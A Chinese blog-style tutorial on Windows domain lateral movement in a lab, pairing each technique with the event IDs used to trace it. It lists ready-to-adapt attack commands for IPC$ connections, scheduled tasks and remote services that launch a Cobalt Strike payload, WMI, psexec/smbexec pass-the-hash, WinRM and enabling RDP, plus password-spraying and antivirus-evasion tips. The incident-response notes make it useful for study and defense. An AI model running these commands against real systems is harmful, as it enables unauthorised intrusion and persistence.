作为一个菜鸡初学内网,对其中的一些常见利用手法进行了总结,同时作为一个经验丰富的小蓝,应急响应技能肯定是必不可少的,所以来分享一波目前自己学到的一些技巧,沉淀作为经验进行分享,如有不足还请大佬们指点。
这里我们提前搭建好了域环境,通过Cobalt Strike来进行攻击演示,然后在对应的虚拟机上查看攻击痕迹。
各主机信息如下:
ad01:10.10.10.136,单网卡
12server4:10.10.10.138,单网卡
12server5:10.10.10.139,192.168.0.108,双网卡
(PS:10.10.10.0/24是域内网段,192.168.0.0/24是直接物理机的网段,用于出网,这里12server5是边界机)
假如红队已经通过Cobalt Strike上线12server5的情况下,首先需要做的肯定是进行内网的一个信息收集(这里提一嘴:免杀工作肯定是要提前做好的,俗话说不打无准备的仗,现在的攻防演练中日志审计和流量告警设备功能越来越齐全,稍有不小心机器很容易掉线)
这里介绍一下常见的一些内网信息收集命令:
net computers #列出当前域内主机
net domain #显示当前域
net dclist #列出当前域控
net sessions #列出主机上的会话
首先我们这里拿到的是本机管理员权限,但是该机器存在域用户所属的进程所以我们也能轻松GET到域内信息
通过初步的信息收集发现域内的这些机器均开放了139和445端口
基于IPC的横向移动
IPC(共享命名管道资源),为了实现进程间通信开放的命名管道,通过提供可信任的用户名和口令,连接双方的通道,并以此通道进行加密数据的交换,从而实现对远程计算机访问。
1、获得目标机器的账号和密码,这里有个条件限制,必须是工作组的本地管理员或域内的管理员组的用户才能够进行利用,所以利用门槛一般会比较高(关于权限问题可以看这篇文章,我感觉写的很好:https://ares-x.com/2020/03/10/%E5%85%B3%E4%BA%8EIPC%E5%92%8CPTH%E7%94%A8%E6%88%B7%E6%9D%83%E9%99%90%E9%97%AE%E9%A2%98/)
2、目标机器开启了admin$共享,默认共享是为了方便管理员进行远程管理而是默认开启的,包括所有的逻辑盘(C$、D$、E$)和系统目录windows(admin$),通过IPC可以实现对这些默认共享的目录,可以使用net share命令进行查看
3、开放了139和445端口,IPC可以实现远程远程登录以及对默认共享资源的访问,而139端口的开启标识NetBIOS协议的应用。通过139、445端口可以实现对共享文件/打印机的访问。
net use# 查看本机建立的连接(本机连接其他机器)
net session# 查看本机建立的连接(其他机器连接的本机),需要administrator用户执行
这里我们目前只拿到了一台域内用户主机的权限,在上面的信息收集中我们也看到了还有1台域内机器和2台域控,我们可以考虑做密码喷洒
这里要区分一下域内用户名枚举和密码喷洒的区别,我们在尝试对下一台域内就进行渗透时,如果一直在一台机器用多个密码爆破,很容易引起运维人员的警觉,那么我们可以换个思路,尝试用一个密码对多个域内用户进行枚举
能进行域内用户名枚举的原理可以参考这篇:https://www.cnblogs.com/tomyyyyy/p/15192349.html
这里就不放截图了,因为我CS没装相关插件,所以派生了一个会话给msf用于域内用户枚举,发现12server4的hash是和12server5一样的,其实拿到一台域内机器后一般都是进行PTH传递,一种是用Cobalt Strike的横向移动工具盲打,运气好能中转上线,另一种则是我刚才说过的域内用户枚举和密码喷洒了。
这里能拿到12server4的权限其实已经稳了,但是我们是为了测试IPC连接,我们先看看能不能抓到12server4的明文密码:
拿到了,然后用IPC连接12server4:
net use \\10.10.10.138\ipc$ "password" /user:hostname\username #工作组
net use \\10.10.10.138\ipc$ "password" /user:domain\username #域内主机
建立连接后,能做的事情就很多了
查看文件列表:dir \\10.10.10.138\C$\
下载文件到当前路径:copy \\127.0.0.1\c$\test.exe test.exe
上传文件:copy test.exe \\127.0.0.1\c$
查看文件内容:type \\127.0.0.1\c$\test.txt
查看目标服务器时间:net time \\127.0.0.1
为了进一步维权这里考虑添加计划任务执行我们的木马,一般Windows计划任务有两种:(1)at(适用于Windows server2012以下) (2)schtasks(适用于Windows server2012及以上)
schtasks /create /s 10.10.10.138 /ru "Administrator" /tn "CS" /sc minute /mo 5 /tr "c:\artifact.exe"
#创建计划任务名称为CS,执行周期每隔5分钟执行一次,执行动作运行artifact.exe文件
schtasks /run /s 10.10.10.138 /tn "CS" #启动该计划任务
那么如何排查此类攻击手法,首先如果及时的话可以在受害者机器上查看IPC连接:
net sessions #查看其他主机对本机的IPC连接
然后可以找受害主机的事件中查看与IPC连接、计划任务创建和启动的相关事件ID,这里分别为5140,4698,4699,注意这里的日志来源是Microsoft-Windows-Security-Auditing,需要服务器配置审计策略,默认情况下是不开启的
这里我没有找到计划任务的安全事件,但是应用日志处是有的,其实计划任务可以直接查看运行参数判断是否存在可疑行为
也可以远程创建服务来上线
sc \\10.10.10.138 create Backboor binpath= "cmd.exe /c c:\artifact.exe"
sc \\10.10.10.138 start Backboor
排查思路就是查看可疑服务和定位异常文件
接下来就是比较熟悉的几大横向渗透工具了,先从wmic开始讲起
WMI 全称 Windows Management Instrumentation 即 Windows 管理工具,Windows 98 以后的操作系统都支持 WMI。由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些
1、目标机器开放了135端口
2、admin$共享
3、获取目标机器的账号和密码(或哈希)
1、利用系统自带的命令执行,默认无回显,可通过将执行命令写入文件后查看
wmic /node:10.10.10.138 /user:administrator /password:123456 process call create "cmd.exe /c ipconfig >c:\ip.txt
执行完毕,12server4的C盘生成了ip.txt然后可以考虑使用IPC连接目标机器后使用type命令进行查看
2、wmiexec.vbs脚本方式执行,有回显
cscript //nologo wmiexec.vbs /shell 10.10.10.138 administrator 123456
另外还有Powershell版本的wmi,不再展开叙述...
3、wmiexec.py执行,有回显
需要用到imapacket-master包
python3 wmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 [email protected]
与RDP相关:
# 适于 Windows xp、server 2003
wmic /node:110.10.10.138 /user:administrator /password:123456 PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
# 适于 Windows 7、8、10,server 2008、2012、2016,注意 ServerName 需要改为目标的 hostname
wmic /node:10.10.10.138 /user:administrator /password:123456 RDTOGGLE WHERE ServerName='计算机名' call SetAllowTSConnections 1
或者
wmic /node:10.10.10.138 /user:administrator /password:123456 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
以上三条适用于开启目标机器的RDP
判断RDP是否开启
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections #0表示开启
利用痕迹:源主机会产生4648的的事件ID(尝试使用显式凭据登录 )
我这里因为环境问题源主机可能没有配置,实际情况也要看服务器是否开启了相关审计策
当执行此命令后,目标主机会产生4776(域控制器尝试验证帐户的凭据 )、4672(特殊登录)、4624(登录成功)的事件ID,如果是登录的目标的本机管理员账号则不会产生4776的日志
接着介绍下Psexec,在介绍前先了解下SMB服务
SMB(Server Message Block)服务器信息块,它也是一种客户端到服务器的通信协议。除此之外,SMB协议也被称为请求-回复协议。客户端与服务器建立连接后,客户端可以向服务器发送SMB命令允许用户访问共享、打开、读取或者是写入文件
利用条件
1、利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放且已知目标机器的账号名和Hash或明文密码
2、对方开放 445 端口,就相当于开放了 smb 协议
psexec 是 windows 官方自带的,不会存在查杀问题,属于 pstools 利用 PsExec 可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主机上创建一个psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过psexec 服务运行命令,运行结束后删除服务。(这个文件名和服务名不一定是psexecsvc和psexec,可能是随机的)
1、使用psexec.py执行
python3 psexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 ./[email protected]
在执行信息中可以看到对应上传Tc*.exe文件、创建了ZXNP服务
在Windows-系统中查询7045(新服务安装)的事件ID
2、exe执行
PsExec64.exe /accepteula /s \\10.10.10.138 -u Administrator -p 123456 cmd
-accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框
-s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell(如Administrator)
还有就是smbexec了
利用条件和psexec一样
这里只列举smbexec.py的利用方式:python3 smbexec.py ./administrator:[email protected]
同样也会在目标主机上生成7045 ID的事件
WinRM(Windows Remote Management)是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即一种基于标准简单对象访问协议(soap)的防火墙友好协议,它让来自不同供应商的硬件和操作系统能够相互操作。windows 众多可以远程执行命令方式中的一种。
WinRM用于通过WSMan与远程计算机建立会话,WSMan利用HTTP/S作为传输机制来传递XML格式的消息。WinRM HTTP通过TCP端口5985进行通信,而HTTPS(TLS)通过TCP端口5986进行通信。
WinRM本机支持NTLM和Kerberos(域)身份验证。初始身份验证后,WinRM会话将使用AES加密(Microsoft Docs)保护。因此,winRM横向移动同时适用于工作组和域环境
1、通信双方都需要开启WinRM服务
WinRS 适用于 Win server 2008 / Win7 及以后的系统,但是 Win server 2008 / PC 全版本系统默认关闭。
只有在Win server 2012 之后的版本的WinRM服务才默认启动并监听了5985端口,允许远程任意主机来管理
查看本机winrm运行状态
使用Powershell命令查看
Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}
winrs -r:10.10.10.138 -u:12server4\administrator -p:123456 cmd
这种情况就需要在攻坤机上添加信任主机(*表示任意主机)
winrm set winrm/config/Client @{TrustedHosts="*"}
然后就可以成功执行命令
可以在受害机器的系统日志中存在事件ID:10148、15007、15008的记录或者查看应用程序和服务日志,执行一次命令产生一次事件91